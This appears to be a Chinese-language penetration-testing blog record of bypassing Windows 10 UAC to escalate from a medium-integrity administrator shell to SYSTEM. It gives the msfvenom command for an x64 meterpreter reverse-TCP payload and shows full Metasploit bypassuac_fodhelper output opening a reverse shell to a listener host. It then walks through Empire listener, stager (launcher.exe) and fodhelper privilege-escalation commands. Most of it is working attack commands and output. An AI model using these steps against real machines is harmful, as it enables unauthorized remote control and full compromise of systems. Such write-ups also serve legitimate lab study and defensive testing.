Windows绕过UAC

Windows提权实操记录:都要求当前用户在管理组里,但目前shell没有管理权限

条件


可以看到当前用户属于BUILTIN\Administrators组,并且拥有中等完整性的令牌Mandatory Label\Medium Mandatory Level,需要提权以得到高完整性的令牌

MSF

目标机器已经有一个cmd shell,当前操作系统是Win10 x64,当前shell所在的用户权限有管理权限但是需要绕过UAC
首先要通过cmd shell拿到一个meterpreter shell,这里博主用的是msfvenom生成一个x64的反弹shell(注意:这里的meterpreter shell一定要是64位的
生成x64的meterpreter shell:msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=[本机地址] LPORT=[本机端口] -f exe > [文件名 *.exe],然后上传到目标机执行后可获得一个msf shell
使用MSF的windows/local/bypassuac_fodhelper模块进行绕过UAC,示例如下

msf5 exploit(windows/local/bypassuac_fodhelper) > options
Module options (exploit/windows/local/bypassuac_fodhelper):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  4                yes       The session to run this module on.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh thread, process, none)
   LHOST     192.168.119.163  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86


msf5 exploit(windows/local/bypassuac_fodhelper) > exploit

[*] Started reverse TCP handler on 192.168.119.163:4444 
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\system32\cmd.exe /c C:\Windows\System32\fodhelper.exe
[*] Sending stage (180291 bytes) to 192.168.163.172
[*] Meterpreter session 5 opened (192.168.119.163:4444 -> 192.168.163.172:56522) at 2023-03-19 20:36:07 +1100
[*] Cleaining up registry keys ...

meterpreter > getuid
Server username: test\ted
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

Empire

安装Empire

kali上用命令sudo apt-get install powershell-empire进行安装

启动Empire

sudo powershell-empire server #启动服务端
sudo powershell-empire client #启动客户端(命令操作都在客户端)

设置/启动/查看监听器

这里使用http监听器(命令uselistener http),可以看见选项都预设好了,还需要设置端口Port(命令set Port 80

execute命令启动监听器,listeners命令查看监听器

设置/生成监听器载荷(payload)

Empire里面这个叫stager,usestager windows_cmd_exec命令选用针对windows平台的载荷

这里需要设置监听器,在上一步中监听器的名字是‘http’,使用命令set Listener http设置载荷的监听器,再使用execute命令生成可执行文件(生成的载荷为launcher.exe

有限的shell

这里已经设置好监听器(http)也生成了stager了(usestager/windows_cmd_exec),文件名是launcher.exe,在目标机器上执行stager后,Empire获得了一个shell,在Name那一列能看到是没有星号*的,意思就是并不是管理员权限(这个后面会看到的)

提权

这里能看目标机的OS是win10,可以尝试使用fodhelper。
设置提权模块,命令:

usemodule powershell_privesc_bypassuac_fodhelper #选择fodhepler提权模块
set Agent [Agent ID] #选择shell,这里的agent的id是DVSPYWBR
set Listener [Listener type] #选择监听器,这里的shell用的监听器是http

如图:

设置好后使用命令execute执行提权,这里可以看到执行后获得了一个新的shell,通过agents命令查看后可以发现这个shell的name是带了星号*的,意思就是具有管理员权限

通过用这个shell来运行一个cmd shell来验证是否具有管理员权限:这里可以看见这个cmd shell已经具有高完整性的令牌Mandatory Label\High Mandatory Level,也就意味着已经具有管理员权限